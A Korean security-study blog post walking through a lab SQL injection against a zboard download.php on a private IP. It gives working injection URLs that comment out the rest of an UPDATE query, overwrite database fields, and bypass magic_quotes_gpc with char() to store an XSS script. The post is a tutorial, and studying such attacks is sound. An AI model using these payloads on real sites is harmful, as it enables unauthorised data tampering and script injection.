2017. 9. 4. 19:39ㆍWebHacking/Web
이전 게시글에서 연습했던 게시글 페이지와 다운로드조회수를 올려주는 페이지를 이용해서 실습을 진행하겠습니다
[ 실습방식 ]
① 게시글 페이지에서 GET방식 " http://192.168.6.123/zboard/download?변수=값& ... " 으로 download.php 페이지로 전송한다
② download.php 에서는 받아온 변수들을 이용해서 쿼리문을 실행하는 코드가 작성되어있다 ( 이전 게시글 참조 )
③ 우리는 GET방식으로 넘겨지는 변수의 입력값을 조작하여 비정상적인 쿼리문을 실행시킬 것이다 ( DB내용 수정 등등 가능하다 )
[1] 주석을 활용한 SQL injectioin
1> 기존의 GET요청
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1 |
Query: update zetyx_board_board set download1=download1+1 where no='15'으로 실행
GET방식을 활용하여 download.php로 변수들을 넘겨주고 download.php에서 쿼리문이 실행되어 DB가 변경된다
filenum = 1
2> 변수 조작
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=100 |
Query : update zetyx_board_board set download1=100=download1=100+1 where no='15'으로 실행
filenum=1=100 => filenum="1=100"
download1=100=download1=100+1
=> 100=download1 에서 오류 발생
sql주석 : # , -- , /* */
url에서 입력불가능한 값 : ?, &, #
=> url encoding : 문자에 대한 헥사값 을 이용한다 => %아스키코드값
# : %23
3> 주석 활용
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=100 %23 |
Query : update zetyx_board_board set download1=100 #=download1=100 #+1 where no='15'
filenum=1=100 %23 => filenum="1=100 #"
=> 쿼리문에서 # 이후의 문장은 주석처리된다
=> Query : update zetyx_board_board set download1=100으로 정상실행된다
#tail -f /var/lb/mysql/query.log 을 통한 쿼리로그 확인
[ 쿼리 로그 ]
정상적으로 쿼리가 작동되었고, 웹 페이지에서도 다운로드 횟수가 변경되어있음을 확인할 수 있다
[ 쿼리 실행 결과 ]
* DB에 저장되어 있는 컬럼명을 알고 있다면 그 컬럼의 값도 변경시킬 수 있습니다
4> 다중 변수 조작
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=102 ,memo='Hello injection' %23 |
Query : update zetyx_board_board set download1=102 ,memo='Hello injection' #=download1=102 ,memo='Hello injection' #+1 where no='15'
filenum="1=102 ,memo='Hello Injection' %23" => filenum="1=102 ,memo='Hello Injection' #"
=> 쿼리문의 # 이후의 문장은 주석처리된다
=> Query : update zetyx_board_board set download1=102 ,memo='Hello injection'으로 정상실행한다
#tail -f /var/lb/mysql/query.log 을 통한 쿼리로그 확인
[ 쿼리 로그 ]
정상적으로 쿼리가 작동되었고, 웹 페이지에서도 본문내용(memo)가 변경되어있음을 확인할 수 있다
5> String SQL injection 방어법
단순 설정을 통해서 본문을 변경하는 문자열 인젝션공격처럼 ' , " 을 사용하는 인젝션 공격을 방어할 수 있다
/etc/php.ini php설정파일에서 magic_quotes_gpc 설정을 변경합니다
[ /etc/php.ini ]
[ 쿼리 실행 로그 ]
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=102 ,memo='Hello injectionzzz' %23 |
Query : update zetyx_board_board set download1=102 ,memo=\'Hello injection\' #=download1=102 ,memo='Hello injection' #+1 where no='15'
=> Query : update zetyx_board_board set download1=102 ,memo=\'Hello injection\' 로 작동하게 된다
설정을 변경함으로써 작은 따옴표가 \' 가 되었습니다
=> ' xxx ' 작은 따옴표로 동작하지 않고 문자열 자체로 변한다
=> memo : txt타입 이여서 반드시 " 또는 ' 을 사용해야 함으로 쿼리는 정상적으로 실행되지 않습니다
=> 'Hello injection' 이라는 컬럼으로 인식한다 => DB에 그런 컬럼이 없기때문에 오류임
하지만 이 방식은 모든 컬럼마다 이 설정을 검사해야해서 속도가 느려져 php3.4버전까지만 실행되었습니다
우회방법도 있습니다
6> 우회방법
mysql내장함수 " char () " 를 이용한다
아스키 코드를 이용해서 해당 아스키 코드에 해당하는 문자열을 반환한다
[ char() 사용 예제 ]
[ 실제 우회하기 ]
[ 쿼리 실행 로그 ]
http://192.168.6.123/zboard/download.php?id=board&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=15&filenum=1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)%23 |
Query: update zetyx_board_board set download1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)#=download1=106 ,memo=char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,39,41,59,60,47,115,99,114,105,112,116,62)#+1 where no='15'
=> Query: update zetyx_board_board set download1=106 ,memo=<script>alert('xss');</script>로 실행된다
[ 실행결과 ]
'WebHacking > Web' 카테고리의 다른 글
Blind SQL injection (0) | 2017.09.06 |
---|---|
SQL injection 실습 / Blind SQL injection (0) | 2017.09.05 |
SQL injection 개념, 원리 (0) | 2017.09.01 |
아파치 웹 서버 설정 파일 / 확장자 우회 / 웹쉘 / 바인드쉘 / 리버스쉘 (0) | 2017.08.31 |
CSRF ( Cross Site Request Forgery ) (0) | 2017.08.29 |